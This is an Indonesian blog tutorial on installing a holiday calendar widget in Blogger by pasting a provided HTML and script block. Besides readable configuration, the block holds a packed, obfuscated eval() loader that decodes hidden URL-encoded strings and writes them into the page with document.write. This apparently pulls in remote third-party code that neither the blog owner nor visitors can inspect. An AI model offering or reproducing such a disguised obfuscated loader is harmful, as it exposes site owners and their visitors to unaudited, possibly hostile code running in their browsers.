Cara Memasang Widget Kalender di Blog dan Peringatan Hari Libur

Oleh Pediaku ID - Oktober 11, 2024

Di blogger Anda bisa menambahkan banyak widget yang menarik untuk fitur dan membuat tampilan blog lebih menarik, seperti membuat widget jam ataupun membuat widget kalender di blogger. Kali ini, Pediaku ID akan membagikan panduan cara mudah membuat kalender di blog.

Bagaimana Dampak Memasang Widget Kalender Terhadap Blog?

Sebelum menerapkan widget ini di blog, Anda harus memahami beberapa permasalahan yang mungkin akan dijumpai pasca memasang widget ini.

Memasang kalender di blog bertujuan untuk mempercantik tampilan blog, dan membuat tampilan agar terlihat aestetik, namun permasalahannya adalah widget ini menggunakan script yang dipanggil dari pihak ketiga, artinya user harus melakukan request lain untuk menampilkan widget tersebut yang akan berdampak kepada kecepatan loading blog dan ukuran blog.

Perlu diketahui bahwa kecepatan loading blog menjadi salah satu parameter dalam SEO google saat ini, jadi hal ini sangat berpengaruh terhadap blog Anda. Bagaimana solususinya? Untuk mengatasi masalah ini, Anda dapat menambahkan rell="preload" didalam script, agar script di load hanya ketika bagian utama blog sudah tampil semua.

Cara Memasang Kalender di Blog

Cara memasang widget kalender di blog sendiri sangat mudah, Anda hanya perlu meng-copy script dibawah, dan pastekan di html widget pada sidebar blog atau tempat yang ingin ditempati kalender.

<div class="calendar-container">
<div class="calendar-header">
<button class="button" id="prevMonth">&lt;</button>
<h2 id="monthYear"></h2>
<button class="button" id="nextMonth">&gt;</button>
</div>
<div id="calendar" class="calendar">
</div>
<div class="selected-date" id="selectedDate">
</div>
<div id="agenda" class="agenda">
</div>
<div style="text-align: center; margin-top: 20px;">
<button class="button" id="todayBtn">Today</button>
</div>
</div>
<script>
/*<![CDATA[*/ 
const rahYear = "2024";
const rahMonthNames = ["Jan", "Feb", "Mar", "Apr", "Mei", "Jun", "Jul", "Agu", "Sep", "Okt", "Nov", "Des"];
const rahDaysNames = ['M', 'S', 'S', 'R', 'K', 'J', 'S'];
const rahAgendaItems = {'5': {'23': 'Hari Raya Waisak', '24': 'Cuti Bersama Waisak',}, '6': {'1': 'Hari Lahir Pancasila','17': 'Idul Adha','18': 'Idul Adha',},};
const rahChoiceDate = "Tanggal Terpilih";
const rahNoAgenda = "Tidak ada agenda";
/*]]>*/</script>
<script>/*<![CDATA[*/ 
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('j k(){g a=[\'I\',\'v%w%y%7\',\'4%20%s%h\',\'%l%J%h%\',\'K\',\'%l%9%l%\',\'i%x%z%7\',\'L\',\'0%s%M%9\',\'%h%w%y%\',\'%9%i%m%\',\'N\',\'t%i%z%6\',\'F%O%P%9\',\'w%v%n%7\',\'4%n%Q%R\',\'S\',\'%n%T%m%\',\'5%m%l%i\',\'U\',\'V\',\'W\',\'3%m%n%x\',\'X\',\'Y\',\'Z%o%x%6\',\'h%l%10%7\',\'11\',\'n%12%o%2\',\'t%A%A%7\',\'%i%13%27%\',\'%9%h%o%\',\'s%27%9%3\',\'5%v%m%o\',\'4%9%14%t\',\'%h%o%t%\',\'%15%s%i%\'];k=j(){u a};u k()}j p(d,e){g f=k();u p=j(a,b){a=a-(-16+-17*B+18);g c=f[a];u c},p(d,e)}g 1=p;(j(a,b){g c=p,q=a();19(!![]){1a{g d=-8(c(1b))/(-C*-1c+-1d+1e)*(8(c(1f))/(-1g*r+-1h+-r*-1i))+8(c(1j))/(1k+-1l+-1m*D)+8(c(1n))/(r*-1o+1p+r*1q)+8(c(1r))/(1s+-B*1t+C*1u)*(-8(c(1v))/(1w+-1x+-1y*1z))+-8(c(1A))/(-1B+-1C+1D)*(8(c(1E))/(1F*-1G+-D+1H))+-8(c(1I))/(1J+-1K+-1L)+8(c(1M))/(-1N+-r*-1O+1P*-1Q);1R(d===b)1S;1T q[\'G\'](q[\'H\']())}1U(1V){q[\'G\'](q[\'H\']())}}}(k,-1W+1X*1Y+-1Z*21),22[1(23)](24(1(25)+1(26)+1(28)+1(29)+1(2a)+1(2b)+1(2c)+1(2d)+1(2e)+1(2f)+1(2g)+1(2h)+1(2i)+1(2j)+1(2k)+1(2l)+1(2m)+1(2n)+1(2o)+1(2p)+1(2q)+1(2r)+1(2s)+1(2t)+1(2u)+1(2v)+\'E\')));',62,156,'|_0x44e7c3|||||||parseInt|2F|||||||var|72|63|function|_0x1dc8|69|64|65|61|_0x3352|_0x59d800|0x1|73|68|return|6E|2E|6C|6A|6F|74|0xb|0x4|0x13c|||push|shift|write|76|300TrCjBe|7221012EGebqX|3A|5gSUrce|4A|53|2D|75|6966TZIqzf|40|5543984QsEOCc|5139477SmctHK|2733141dpAtgk|10305470mjDYeC|29232420UdOufH|43|70|8ZHOVYv|77|3D|67|3C|0x44a|0xdc|0xe6d|while|try|0xc7|0x1a8|0x11e2|0xb43|0xbb|0x1705|0x23ad|0x3ab4|0xcc|0x2224|0x197d|0x7|0xca|0x1ad7|0x11a0|0x93b|0xc2|0x167b|0x35e|0x3a5|0xbe|0x1ff1|0xc79|0x83|0x26|0xce|0x26e9|0xd93|0x3483|0xd2|0x1a|0x17|0x39a|0xcb|0x2627|0x1eb0|0x76e|0xcf|0x221|0x1ff3|0x8|0x3b9|if|break|else|catch|_0x440428|0x11dd4|0x23|0xacbd|0x2c6dd||0x3|document|0xb7|unescape|0xb6|0xd1||0xb9|0xb0|0xaf|0xbf|0xc1|0xb8|0xcd|0xba|0xc5|0xb4|0xb1|0xc3|0xc6|0xbc|0xbd|0xc9|0xc8|0xd3|0xc4|0xb5|0xd0|0xb3|0xc0|0xb2'.split('|'),0,{}))
/*]]>*/</script>

Kesimpulan

Memasang widget kalender di blog ternyata cukup mudah dan membuat tampilan terlihat jadi lebih keren. Script yang Pediaku ID bagikan diatas juga menampilkan hari libur dan tampilannya cukup keren. Anda juga memasangnya di halaman ataupun di bagian sidebar blog.

Cari Blog Ini

Pediaku ID